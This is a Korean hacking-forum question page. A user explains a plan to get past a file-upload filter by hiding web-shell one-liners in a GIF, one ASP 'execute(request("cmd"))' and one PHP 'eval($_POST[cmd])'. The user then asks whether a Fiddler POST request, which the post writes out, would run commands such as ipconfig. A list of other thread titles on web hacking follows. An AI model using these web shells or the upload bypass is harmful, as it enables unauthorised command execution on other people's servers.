214,

1/11

stoopynice

웹쉘 관련 질문있습니다.

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_Web&no=209 [복사]

그 파일 업로드 우회해서 (gif 파일에 아래 코드를 넣어서)
<%execute(request("cmd"))%>
<?php eval($_POST[cmd]);?>
페이지에 삽입한다음에 ipconfig같은 명령을 실험해보고 싶은데
(위에 코드가 cmd 불러와서 cmd 명령하는거죠?)
피들러에 composer 탭에 아래 내용 보내면 되나요??
POST http://\\\\/index.php?***.gif
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: ***/index.php
WS=110&CCODE=000101
Accept-Language: ko-KR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
DNT: 1
Host: ***
Cookie: PHPSESSID=h6ddjfsn45r1sqc9tvg2p6pje0
Content-Length: 9
cmd=ipconfig;

요런식으로 execute해서 테스트하면되나요?

Hit : 4681 Date : 2015/07/26 12:22

214

CloudFlare 쓰는 사이트는 해킹하기 힘들까요?[3]

sogreat

03/21

211

213

웹해킹 관련하여 질문드립니다[5]

solo20

05/21

2358

212

웹해킹 입문 책추천해주세요

kjwp1

02/24

2505

211

이미지안에 리다이렉트 소스(악용목적X)[2]

tjdgus1515

12/06

4630

210

아파치 php mysql 연동관련 질문입니다.[3]

커세어

10/19

3591

209

sql injection 방어 코드[2]

europa8340

10/04

2815

208

웹 sqlmap 중에[1]

europa8340

07/26

2260

207

웹 해 킹 가능하는[1]

custom890

12/31

2889

206

웹 해킹 자신있으신 분들 꼭 봐주세요

bird999

12/05

2968

205

웹 해킹 하는데 웹 개발도 할 줄 알아야 하나요?[1]

unmask

10/25

2791

204

해킹맛보기(서적) 아파치프로그램 질문입니다[1]

커세어

09/29

2652

203

웹해킹 입문할려고합니다. 조언및과외해주실스승님 구합니더[3]

edustars

09/26

2875

202

417 error

wiwiwi79

08/15

2521

201

홈페이지 디도스 원리?[1]

tbxmaos

02/12

2659

200

아파치 설정중 오류[2]

eunjong147

02/06

8393

199

칼리리눅스 dvwa 설치과정중 오류[2]

wnsdud5534

01/23

3416

198

웹 해킹 질문입니다.

dsgoidsog

11/26

2768

197

XSS <> 치환 우회가 가능한가요?[2]

drrobot333

11/19

3610

196

PHP에서 이메일 전송할때 가로챌 수 있나요?[9]

drrobot333

11/16

2580

195

웹해킹 질문[1]

ericseo16

10/14

2827

1 [2][3][4][5][6][7][8][9][10]..[11]